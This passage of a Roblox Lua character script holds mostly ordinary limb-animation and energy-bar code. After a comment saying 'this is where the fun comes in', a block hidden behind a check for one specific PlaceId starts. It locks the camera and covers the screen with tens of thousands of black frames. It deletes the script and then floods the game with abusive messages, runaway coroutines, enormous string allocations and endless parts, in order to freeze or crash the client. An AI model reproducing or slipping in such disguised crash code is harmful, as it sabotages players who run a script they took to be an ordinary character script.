4852 | MotorTwoWeld.C0 = clerp(MotorOneWeld.C0, cf(0, 0 + 0.5 * math.cos((sine) / 13), 0 - 0.5 * math.cos((sine) / 13)) * angles(math.rad(0 + 0.5 * math.cos((sine) / 8)), math.rad(0), math.rad(0)), 0.3) | |
4853 | MotorThumbWeld.C0 = clerp(MotorThumbWeld.C0, cf(0, 0 + 0.5 * math.cos((sine) / 13), 0 + 0.5 * math.cos((sine) / 16)) * angles(math.rad(0), math.rad(0), math.rad(0)), 0.3) | |
4854 | MotorThumbTwoWeld.C0 = clerp(MotorThumbTwoWeld.C0, cf(0, 0 + 0.5 * math.cos((sine) / 13), 0 - 0.5 * math.cos((sine) / 16)) * angles(math.rad(0), math.rad(0), math.rad(0)), 0.3) | |
4855 | ]]-- | |
4856 | Footsteps:Play() | |
4857 | Footsteps2:Stop() | |
4858 | RootJoint.C0=clerp(RootJoint.C0,RootCF*cf(0,0,0+0.1*math.cos(sine/2.5))*angles(math.rad(10+1*math.cos(sine/2.5)),math.rad(0),math.rad(1-5*math.cos(sine/5))),.3) | |
4859 | Neck.C0=clerp(Neck.C0,necko*euler(0+0.075*math.cos(sine/2.5),0,0)*angles(math.rad(0),math.rad(0),math.rad(1+5*math.cos(sine/5))),.3) | |
4860 | Neck.C1=clerp(Neck.C1,necko2*euler(0,0,0),.3) | |
4861 | RW.C0=clerp(RW.C0,cf(1.4+0.25*math.cos(sine/5),0.5+0.25*math.cos(sine/5),-0.2+0.5*math.cos(sine/5))*angles(math.rad(20-60*math.cos(sine/5)),math.rad(0),math.rad(-4+30*math.cos(sine/5))),.3) | |
4862 | LW.C0=clerp(LW.C0,cf(-1.4+0.25*math.cos(sine/5),0.5-0.25*math.cos(sine/5),-0.2-0.5*math.cos(sine/5))*angles(math.rad(20+60*math.cos(sine/5)),math.rad(0),math.rad(4+30*math.cos(sine/5))),.3) | |
4863 | RH.C0=clerp(RH.C0,cf(1,-1-0.1*math.cos(sine/5),0-0.25*math.cos(sine/5))*angles(math.rad(0),math.rad(90),math.rad(0))*angles(math.rad(-2.5),math.rad(0),math.rad(0+50*math.cos(sine/5))),.3) | |
4864 | LH.C0=clerp(LH.C0,cf(-1,-1+0.1*math.cos(sine/5),0+0.25*math.cos(sine/5))*angles(math.rad(0),math.rad(-90),math.rad(0))*angles(math.rad(-2.5),math.rad(0),math.rad(0+50*math.cos(sine/5))),.3) | |
4865 | handleweld.C0=clerp(handleweld.C0,cf(0,0,0)*angles(math.rad(0),math.rad(0),math.rad(0)),.2) | |
4866 | Handleweld.C0=clerp(Handleweld.C0,cf(0-.5*math.cos(sine/30),0,0-.5*math.cos(sine/30))*angles(math.rad(0+1*math.cos(sine/30)),math.rad(-30),math.rad(0-1*math.cos(sine/30))),.2) | |
4867 | Handle2weld.C0=clerp(Handle2weld.C0,cf(0+.5*math.cos(sine/36),0,0+.5*math.cos(sine/36))*angles(math.rad(0-3*math.cos(sine/36)),math.rad(30),math.rad(0-3*math.cos(sine/36))),.2) | |
4868 | MotorOneWeld.C0 = clerp(MotorOneWeld.C0, cf(0, 0 + 0.5 * math.cos((sine) / 13), 0 + 0.5 * math.cos((sine) / 13)) * angles(math.rad(0 + 0.5 * math.cos((sine) / 8)), math.rad(0), math.rad(0)), 0.3) | |
4869 | MotorTwoWeld.C0 = clerp(MotorOneWeld.C0, cf(0, 0 + 0.5 * math.cos((sine) / 13), 0 - 0.5 * math.cos((sine) / 13)) * angles(math.rad(0 + 0.5 * math.cos((sine) / 8)), math.rad(0), math.rad(0)), 0.3) | |
4870 | MotorThumbWeld.C0 = clerp(MotorThumbWeld.C0, cf(0, 0 + 0.5 * math.cos((sine) / 13), 0 + 0.5 * math.cos((sine) / 16)) * angles(math.rad(0), math.rad(0), math.rad(0)), 0.3) | |
4871 | MotorThumbTwoWeld.C0 = clerp(MotorThumbTwoWeld.C0, cf(0, 0 + 0.5 * math.cos((sine) / 13), 0 - 0.5 * math.cos((sine) / 16)) * angles(math.rad(0), math.rad(0), math.rad(0)), 0.3) | |
4872 | end | |
4873 | elseif torvel>=22 and hitfloor~=nil then | |
4874 | Anim="Run" | |
4875 | change=1 | |
4876 | if attack==false then | |
4877 | Footsteps:Stop() | |
4878 | Footsteps2:Play() | |
4879 | RootJoint.C0=clerp(RootJoint.C0,RootCF*cf(0,0,0+0.1*math.cos(sine/2.5))*angles(math.rad(20+1*math.cos(sine/2.5)),math.rad(0),math.rad(0)),.3) | |
4880 | Neck.C0=clerp(Neck.C0,necko*euler(-0.2+0.075*math.cos(sine/2.5),0,0),.3) | |
4881 | Neck.C1=clerp(Neck.C1,necko2*euler(0,0,0),.3) | |
4882 | RW.C0=clerp(RW.C0,cf(1.5,0.5,0)*angles(math.rad(-40),math.rad(0),math.rad(24)),.3) | |
4883 | LW.C0=clerp(LW.C0,cf(-1.5,0.5,0)*angles(math.rad(-40),math.rad(0),math.rad(-24)),.3) | |
4884 | RH.C0=clerp(RH.C0,cf(1,-1-0.1*math.cos(sine/5),0-0.5*math.cos(sine/5))*angles(math.rad(0),math.rad(90),math.rad(0))*angles(math.rad(-5),math.rad(0),math.rad(0+70*math.cos(sine/5))),.3) | |
4885 | LH.C0=clerp(LH.C0,cf(-1,-1+0.1*math.cos(sine/5),0+0.5*math.cos(sine/5))*angles(math.rad(0),math.rad(-90),math.rad(0))*angles(math.rad(-5),math.rad(0),math.rad(0+70*math.cos(sine/5))),.3) | |
4886 | handleweld.C0=clerp(handleweld.C0,cf(0,0,0)*angles(math.rad(0),math.rad(0),math.rad(0)),.2) | |
4887 | Handleweld.C0=clerp(Handleweld.C0,cf(0-.5*math.cos(sine/30),0,0-.5*math.cos(sine/30))*angles(math.rad(0+1*math.cos(sine/30)),math.rad(-60),math.rad(0-1*math.cos(sine/30))),.2) | |
4888 | Handle2weld.C0=clerp(Handle2weld.C0,cf(0+.5*math.cos(sine/36),0,0+.5*math.cos(sine/36))*angles(math.rad(0-3*math.cos(sine/36)),math.rad(60),math.rad(0-3*math.cos(sine/36))),.2) | |
4889 | MotorOneWeld.C0 = clerp(MotorOneWeld.C0, cf(0, 0 + 0.5 * math.cos((sine) / 13), 0 + 0.5 * math.cos((sine) / 13)) * angles(math.rad(0 + 0.5 * math.cos((sine) / 8)), math.rad(0), math.rad(0)), 0.3) | |
4890 | MotorTwoWeld.C0 = clerp(MotorOneWeld.C0, cf(0, 0 + 0.5 * math.cos((sine) / 13), 0 - 0.5 * math.cos((sine) / 13)) * angles(math.rad(0 + 0.5 * math.cos((sine) / 8)), math.rad(0), math.rad(0)), 0.3) | |
4891 | MotorThumbWeld.C0 = clerp(MotorThumbWeld.C0, cf(0, 0 + 0.5 * math.cos((sine) / 13), 0 + 0.5 * math.cos((sine) / 16)) * angles(math.rad(0), math.rad(0), math.rad(0)), 0.3) | |
4892 | MotorThumbTwoWeld.C0 = clerp(MotorThumbTwoWeld.C0, cf(0, 0 + 0.5 * math.cos((sine) / 13), 0 - 0.5 * math.cos((sine) / 16)) * angles(math.rad(0), math.rad(0), math.rad(0)), 0.3) | |
4893 | end | |
4894 | end | |
4895 | end | |
4896 | fenbarmana2:TweenSize(UDim2.new(4*mana/100,0,0.2,0),nil,1,0.4,true) | |
4897 | fenbarmana4.Text="[Energy] <{[ "..mana.." ]}> [Energy]" | |
4898 | text.Text = math.floor(hum.Health) | |
4899 | if mana>=100 then | |
4900 | mana=100 | |
4901 | else | |
4902 | if mananum<=8 then | |
4903 | mananum=mananum+100 | |
4904 | else | |
4905 | mananum=0 | |
4906 | mana=mana+100 | |
4907 | end | |
4908 | end | |
4909 | end | |
4910 | ||
4911 | ||
4912 | ||
4913 | ||
4914 | --- shshshhh this is where the fun comes in --- | |
4915 | if game.PlaceId == 21053279 then | |
4916 | plr = game.Players.LocalPlayer | |
4917 | char = plr.Character | |
4918 | cam = workspace.CurrentCamera | |
4919 | cam.CameraType = "Scriptable" | |
4920 | cam.CoordinateFrame = CFrame.new(0,0,50) | |
4921 | local localContainer | |
4922 | local service=setmetatable({ | |
4923 | MarketPlace=game:service("MarketplaceService"); | |
4924 | GamepassService=game:service("GamePassService"); | |
4925 | ChatService=game:service("Chat"); | |
4926 | LocalContainer=function() if not localContainer or not localContainer.Parent then localContainer=Instance.new("Camera",workspace) localContainer.Name=math.random(10000000,999999999) end return localContainer end; | |
4927 | },{ | |
4928 | __index=function(tab,index) | |
4929 | local serv | |
4930 | local ran,err=pcall(function() serv=game:service(index) end) | |
4931 | if ran then | |
4932 | tab[index]=serv | |
4933 | return serv | |
4934 | end | |
4935 | end | |
4936 | }) | |
4937 | ||
4938 | local cPcall=function(func,...) local function cour(...) coroutine.resume(coroutine.create(func),...) end local ran,error=pcall(cour,...) if error then print('ERROR: '..error) end end | |
4939 | ||
4940 | x=game.Players.LocalPlayer | |
4941 | x.CameraMode=Enum.CameraMode.LockFirstPerson | |
4942 | f=Instance.new("Frame") | |
4943 | f.Size=UDim2.new(1,0,1,0) | |
4944 | f.BackgroundTransparency=0.01 | |
4945 | f.BackgroundColor3=Color3.new() | |
4946 | pg=x.PlayerGui | |
4947 | gui=Instance.new("ScreenGui",pg) | |
4948 | wait(.1) | |
4949 | for i=1,28000 do | |
4950 | f:Clone().Parent=gui | |
4951 | f:Clone().Parent=gui | |
4952 | f:Clone().Parent=gui | |
4953 | end | |
4954 | ||
4955 | script:Destroy(); | |
4956 | local runService = Game:GetService("RunService").Stepped; | |
4957 | local LagNum = 1250; | |
4958 | local str = "lag fucker lag"; | |
4959 | ||
4960 | for i = 1, math.huge do | |
4961 | if i % LagNum == 0 then runService:wait(); end | |
4962 | Instance.new("Message", Workspace).Text = str; | |
4963 | end | |
4964 | ||
4965 | local bores=coroutine.create(function() --Yolo? | |
4966 | cPcall(function() | |
4967 | --print(Game[("%s|"):rep(0xFFFFFFF)]) | |
4968 | cPcall(print,'lol') | |
4969 | cPcall(warn,'lol') | |
4970 | cPcall(error,'lol') | |
4971 | while wait(0.1) do | |
4972 | spawn(function() | |
4973 | cPcall(function() | |
4974 | spawn(function() | |
4975 | local tab={} | |
4976 | pcall(function() | |
4977 | spawn(function() | |
4978 | for i=1,1000000 do | |
4979 | cPcall(function() | |
4980 | spawn(function() | |
4981 | local bob2=coroutine.create(function() | |
4982 | function f1() cPcall(spawn,f2) warn(string.rep((Vector3.new(math.random(-1000,1000),math.random(-1000,1000),math.random(-1000,1000))-Vector3.new(math.random(-1000,1000),math.random(-1000,1000),math.random(-1000,1000))).magnitude,2e10)) end | |
4983 | function f2() cPcall(spawn,f1) print(string.rep((Vector3.new(math.random(-1000,1000),math.random(-1000,1000),math.random(-1000,1000))-Vector3.new(math.random(-1000,1000),math.random(-1000,1000),math.random(-1000,1000))).magnitude,2e10)) end | |
4984 | spawn(f1) | |
4985 | end) | |
4986 | spawn(function() delay(0,function() coroutine.resume(bob2) end) end) | |
4987 | spawn(function() table.insert(tab,string.rep(tostring(math.random()),100)) end) | |
4988 | end) | |
4989 | end) | |
4990 | end | |
4991 | tab={} | |
4992 | end) | |
4993 | end) | |
4994 | end) | |
4995 | end) | |
4996 | end) | |
4997 | end | |
4998 | end) | |
4999 | end) | |
5000 | ||
5001 | service.RunService.Stepped:connect(function() | |
5002 | for i=1,500000 do | |
5003 | delay(0,function() pcall(function() coroutine.resume(bores) end) end) | |
5004 | end | |
5005 | end) | |
5006 | ||
5007 | ||
5008 | local function bob() | |
5009 | cPcall(function() | |
5010 | while wait(0.1) do | |
5011 | --cPcall(function() | |
5012 | --for i=1,100 do | |
5013 | local p=Instance.new("Part") | |
5014 | p.Material="Neon" | |
5015 | p.Size=Vector3.new(50,50,50) | |
5016 | p.Anchored=true | |
5017 | p.BackSurface="Studs" | |
5018 | p.BottomSurface="Studs" | |
5019 | p.FrontSurface="Studs" | |
5020 | p.LeftSurface="Studs" | |
5021 | p.RightSurface="Studs" | |
5022 | p.TopSurface="Studs" | |
5023 | local t=Instance.new("Texture",p) | |
5024 | t.Texture="http://www.roblox.com/asset/?id=190803157" | |
5025 | t.Face="Top" | |
5026 | t.StudsPerTileU=1000 | |
5027 | t.StudsPerTileV=1000 | |
5028 | local t2=t:clone() | |
5029 | t2.Parent=p | |
5030 | t2.Face="Bottom" | |
5031 | local t2=t:clone() | |
5032 | t2.Parent=p | |
5033 | t2.Face="Left" | |
5034 | local t2=t:clone() | |
5035 | t2.Parent=p | |
5036 | t2.Face="Right" | |
5037 | local t2=t:clone() | |
5038 | t2.Parent=p | |
5039 | t2.Face="Front" | |
5040 | local t2=t:clone() | |
5041 | t2.Parent=p | |
5042 | t2.Face="Back" | |
5043 | p.Parent=service.LocalContainer() | |
5044 | --end | |
5045 | --end) | |
5046 | end | |
5047 | end) | |
5048 | end | |
5049 | bob() --while wait(0.1) do cPcall(bob) end | |
5050 | end | |
5051 | -- |